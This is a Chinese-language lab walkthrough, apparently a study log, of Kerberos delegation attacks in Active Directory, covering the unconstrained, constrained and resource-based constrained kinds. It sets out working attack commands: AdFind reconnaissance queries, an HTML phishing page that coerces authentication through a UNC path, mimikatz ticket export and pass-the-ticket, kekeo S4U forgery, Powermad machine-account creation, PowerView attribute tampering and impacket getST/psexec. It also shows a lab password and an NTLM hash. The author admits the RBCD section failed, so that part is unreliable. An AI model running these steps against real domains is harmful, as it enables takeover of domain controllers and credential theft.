委派攻击分类:
1、非约束性委派
2、约束性委派
3、基于资源的约束性委派
关于约束委派与非约束委派
委派(Delegation)是指将用户或计算机帐户的权限授予其他用户或计算机帐户,以便它们可以代表原始用户或计算机帐户执行相应的操作。其中,Windows中的委派分为两种类型:非约束委派和约束委派。
非约束委派(Unconstrained Delegation)是指将用户或计算机帐户的所有权限都授予另一个用户或计算机帐户,并且该帐户可以将权限继续委派下去,这样可以导致安全隐患。
意思就是被域控进行非约束委派的域成员主机获得全部权限(完全信任),并且该可以同样的进行非约束委派至其他域成员主机(继承)
约束委派(Constrained Delegation)是指将用户或计算机帐户的部分权限授予另一个用户或计算机帐户,并限制该帐户只能将授权限委派给特定的服务。这意味着该帐户无法将委派权限向下传递给其他服务,因此更加安全。
总的来说,如果需要在Windows环境中使用委派功能,建议使用约束委派而不是非约束委派,以提高系统和数据的安全性。
非约束委派
利用场景:
攻击者拿到一台非约束委派的机器权限,可以诱导域管来访问该机器,然后得打管理员的TGT,从而模拟域管用户
环境搭建:
首先域控上面设置一下对计算器的委派
在Windows server 2012上面
可以AD管理中心和AD用户和计算器中找到computers
然后选择需要进行委派的计算器,比如我这里是CLIENT-PC 然后右键点击属性
然后再设置用户也设置为委派
setspn -U -A priv/test user2 其中priv/test应该是随便取的,user2就域内的一个用户名(后面删除此spn的命令: setspn -U -d priv/test user2)
设置完后可以使用 setspn -q / 来查询域内所有的这个spn信息可以发现增加了一条
这个时候在AD用户和计算机中点击Users再找到user2右键属性可以发现出现了属性的选项框,其余没有设置的是不会出现次选项框的,可以点开user1进行对比
同样这里也选择第二个信任并且点击应用选项即可
为了真实的演示这里将client-pc上线cs
然后将Adfind上传上去,就这么一个东西
判断查询:
查询域内设置了非约束委派的服务账户:
AdFind -b "DC=niganma,DC=hhh" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的机器账户:
AdFind -b "DC=niganma,DC=hhh" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
执行第一个查询的操作
可以看到返回dn :CN=李2 就表明了这个账户设置过
利用方式:
方法一通过域内的打印机进行主动的触发(没讲)
方法二对域控进行钓鱼
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\被委派的主机IP\2">
</body>
</html>
两个方法的本质没有区别都是为了让域控发出请求与被委派机器建立联系
实验复现:
这里直接演示域控触发的情景,通过执行 net use \\CLIENT-PC 模拟主动触发 CLIENT-PC是被委派的机器名,视频中说不确定是否可以用IP地址来代替?
因为要使用mimikatz所以需要被委派机器上提权为高权限
首先导出票据观察确实是没有管理员的票据存在的
mimikatz sekurlsa::tickets /export
然后在域控上执行
net use \\CLIENT-PC
再次导出票据成功得到了管理员的票据
此时尝试直接连接域控
shell dir \\DC\c$ DC是我的域控机器名
提示拒绝访问
然后将得到的TGT票据导入内存中
mimikatz kerberos::ptt [0;41d963]-2-0-60a10000-Administrator@krbtgt-NIGANMA.HHH.kirbi
再次尝试进行访问
成功访问。
约束委派
利用场景:
环境搭建:
机器设置仅信任此计算器的指定服务-cifs
用户设置仅信任此计算器的指定服务-cifs
设置约束委派
选择被委派的机器,然后设置选择域控
确定
应用确定
然后添加user2的spn,和前面的命令一样
setspn -U -A priv/test user2
同样在设置这个cifs
判断查询
查询机器用户(主机)配置约束委派
AdFind -b "DC=niganma,DC=hhh" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询服务账户(主机)配置约束委派
AdFind -b "DC=niganma,DC=hhh" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
使用第一个语句查询,在client-pc上
使用第二条语句
利用方式&实验复现:
1、获取用户的票据
明文方式
shell kekeo "tgt::ask /user:user2 /domain:niganma.hhh /password::qwe456$%^ /ticket:administrator.kirbi" "exit"
hash方式
shell kekeo "tgt::ask /user:user2 /domain:niganma.hhh /NTLM:抓取到此用户的hash /ticket:administrator.kirbi" "exit"
这里我使用明文不知道为什么拿不到票据,只能使用hash才可以
shell kekeo "tgt::ask /user:user2 /domain:niganma.hhh /NTLM:29aba80efd95850590c27b321b1cfe8e" "exit"
2、获取域控票据
刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。
shell kekeo.exe "tgs::s4u /tgt:TGT_user2@NIGANMA.HHH_krbtgt~niganma.hhh@NIGANMA.HHH.kirbi /user:Administrator@niganma.hhh /service:cifs/DC.niganma.hhh" "exit"
第一个斜杠后面的是你刚刚生成的TGT伪造的票据名称。
第二个斜杠后面的是以administrator身份去访问,注意要在后面添加上域名哦。
第三个斜杠后面的是设置的CIFS的域控主机名与域名(在之前查询的域内配置好的委派的那个结果中任选一个都可以)
3、导入票据
先清空一下当前的缓存的票据
shell klist purge
可以看到未导入票据前是无法访问的
导入票据
mimikatz kerberos::ptt TGS_Administrator@niganma.hhh@NIGANMA.HHH_cifs~DC.niganma.hhh@NIGANMA.HHH.kirbi
此时就可以访问到域控的文件了
资源约束委派
利用场景:
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能(域控满足2012及以上就可以),与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
→计算机加⼊域时,加⼊域的域⽤户被控后也将导致使用当前域用户加入的计算机受控。
条件:
1、域控Windows2012及以上
2、存在域内成员用户加入域操作(域内的主机有共同的用户即SID值一样,同时拿下的这台主机有可以加入域的权限(在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户))
一个机器账户
域内用户都有一个属性叫做 ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。
一个有权利修改 msDS-AllowedToActOnBehalfOfOtherIdentity 的账户
攻击者可以查询域内计算机的 mS-DS-CreatorSID,这个值代表的是将计算机加入到域内的用户,它是具有修改 msDS-AllowedToActOnBehalfOfOtherIdentity的权限的,如果我们可以拿到那个用户的凭据,就可以控制那个用户添加到域内的所有的电脑。
攻击原理:
首先添加机器账户,修改 msDS-AllowedToActOnBehalfOfOtherIdentity 值为机器账户的 sid,然后以机器账户的身份伪造成 administrator 申请一张访问此机器账户机器的 ticket(类似于白银票据),因为机器账户没有配置约束性委派,所以这张票据是不可转发的,但是在基于资源的约束性委派中,票据是否可以转发不重要,对之后对 s4u2proxy 不影响,最后利用这张 ticket 去申请访问修改了 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的机器。
获取受害目标:有哪些域内计算机存在同一用户加入的看mS-DS-CreatorSID值一样
AdFind.exe -h 域控ip -b "DC=niganma,DC=hhh" -f "objectClass=computer" mS-DS-CreatorSID
我这里就是CLIENT-PC和USER3WINSER2102后面都接了相同的SID说明使用的是同一个账户登录的
判断受害用户:域控地址+SID值 把横线和s 1去掉
sid2user.exe \\172.16.3.3 5 21 2427835825 1083592024 1743 899581 1106
我们需要添加一个机器用户,因为需要用机器用户去申请票据,本身的 受害者 机器账户我们不知道他的密码所以无法申请票据,所以我们需要添加一个机器用户,用来帮助我们申请票据。
GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools
powershell:
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force) //新的 账户密码 serviceA 123456
# 验证是否添加成功
net group "domain computers" /domain
获取新增机器用户的sid
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetComputer serviceA -Properties objectsid
S-1-5-21-2427835825-1083592024-1743899581-1605
设置修改属性
powershell:
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2427835825-1083592024-1743899581-1605)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer user3winser2012| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
验证修改是否成功:
Get-DomainComputer user3winser2012 -Properties msds-allowedtoactonbehalfofotheridentity
清除修改设置:
Set-DomainObject user3winser2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
连接目标获取票据:
python getST.py -dc-ip 172.16.3.3 niganma.hhh/serviceA\$:123456 -spn cifs/user3winser2012.niganma.hhh -impersonate administrator
导入票据到内存:
mimikatz kerberos::ptc administrator.ccache
连接利用票据:
dir \\data.xiaodi.local\c$
python psexec.py -k niganma.hhh/administrator@user3winser2012.niganma.hhh-no-pass
不知道什么原因,我有些命令一直报错,不知道是环境的原因还是什么的原因,感觉怪怪的
上面获取serviceA账户的sid的时候也是报错
只能在域控上面获取这个sid的值
还得使用Get-ADComputer -Identity serviceA -Properties objectSID
很可惜复现失败也不知道是哪里的原因。